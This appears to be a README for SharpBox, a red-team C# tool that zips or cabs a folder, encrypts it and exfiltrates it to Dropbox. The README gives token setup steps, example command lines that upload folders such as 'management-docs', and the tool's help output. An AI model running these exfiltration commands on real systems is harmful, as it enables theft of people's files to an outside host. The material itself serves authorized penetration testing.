SharpBox is a C# tool for compressing, encrypting, and exfiltrating data to Dropbox using the Dropbox API.
Target Framework: NET3.5
The libraries added via NuGet for this project were:
-
CommandLineParser.1.9.71
-
Costura.Fody.1.6.2
-
DotNetZip.1.11.0
-
Fody.2.1.2
-
MSFTCompressionCab.1.0.0
Log into your Dropbox account and head over to the Dropbox developer API explorer page and get an oauth access token by clicking "Get Token". These access tokens do not expire, but you can revoke them. So I would recommend revoking tokens after being used on engagments.
Example:
SharpBox.exe -f "C:\Users\LegendaryJasonJF\Documents\management-docs" -t "DROPBOX-OATH-ACCESS-TOKEN-HERE"
SharpBox.exe -f "C:\Users\Meatball\Documents\rip-docs" -t "DROPBOX-OATH-ACCESS-TOKEN-HERE" -c "Cab"
SharpBox can Cab or Zip a folder of items. Zip is the default compression method. Cabbing tends to compress into smaller files than zip, but has a maximum limit of 2GB. The compressed file is then encrypted with a randomly generated password and uploaded to Dropbox. The password is output to the console. Copy the password and use with the "password" argument when decrypting.
SharpBox 1.0.0
Copyright c 2018 Pickles
Usage: SharpBox <options>
-f, --path Required. path to the folder you wish to
compress the contents of
-o, --OutFile Name of the compressed file
-t, --dbxToken Dropbox Access Token
-h, --dbxPath (Default: /test/data) path to dbx folder
-c, --compression (Default: Zip) this option lets you choose to
zip or cab the folder
-d, --decrypt (Default: False) Choose this to decrypt a zip or
cabbed file previously encrypted by this tool.
Requires original password argument.
-p, --decryption-password Password to decrypt a zipped or cabbed file.
--help Display this help screen.
Once the compressed/encrypted file is downloaded from Dropbox, you can use this tool to decrypt it as well.
Example:
SharpBox.exe -f "C:\Users\evilDude\Desktop\data" -o "decrypted-data.zip" -p "RandomlyGeneratedPassword" -d
- @CptJesus for letting me borrow the password gen snippet from SharpHound.
React
Typescript
Django
Laravel
Facebook
Microsoft
Google
Alibaba
D3
Tencent